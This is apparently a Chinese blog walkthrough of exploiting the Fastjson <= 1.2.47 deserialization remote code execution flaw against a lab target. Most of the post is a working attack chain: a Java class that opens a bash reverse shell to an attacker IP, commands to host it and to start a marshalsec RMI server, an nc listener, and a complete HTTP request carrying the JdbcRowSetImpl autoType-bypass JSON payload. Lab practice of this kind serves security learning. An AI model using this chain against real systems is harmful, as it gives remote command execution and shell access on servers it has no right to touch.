Fastjson<1.2.48远程代码执行漏洞(CNVD-2019-22238)

1、漏洞详情
Fastjson 存在反序列化远程代码执行漏洞,当应用或系统使用 Fastjson 对由用户可控的 JSON 字符串数据进行解析时,将可能导致远程代码执行的危害。
2、影响版本
fastjson <= 1.2.47
漏洞利用
1、编写一个反弹shell脚本Exploit.java,并编译生成Exploit.class。

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.118.1/8002 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

通过python命令放到外网环境中,默认监听端口8000。
Python2 :python2 -m SimpleHTTPServer 8000
Python3 :python3 -m http.server 8000

在这里插入图片描述

3.借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.138.118.1:8000/#Exploit” 9999

在这里插入图片描述

4、接着开启nc监听端口8002:nc -lvvp 8002

在这里插入图片描述

5、通过BurpSuite抓包
在这里插入图片描述

在这里插入图片描述

变更请求方式,构造payload,向靶场发送Payload:
POST / HTTP/1.1
Host: 靶机ip:8090
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 267

{
“a”:{
“@type”:“java.lang.Class”,
“val”:“com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://攻击机ip:9999/Exploit”,
“autoCommit”:true
}
}

6、反弹shell
可以看到RMI服务器那边,远程执行成功
在这里插入图片描述

再看BurpSuite响应包也返回了
在这里插入图片描述

看一下nc,成功反弹shell
在这里插入图片描述

PS:注意一下端口。哪个端口是干什么的要清楚。

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值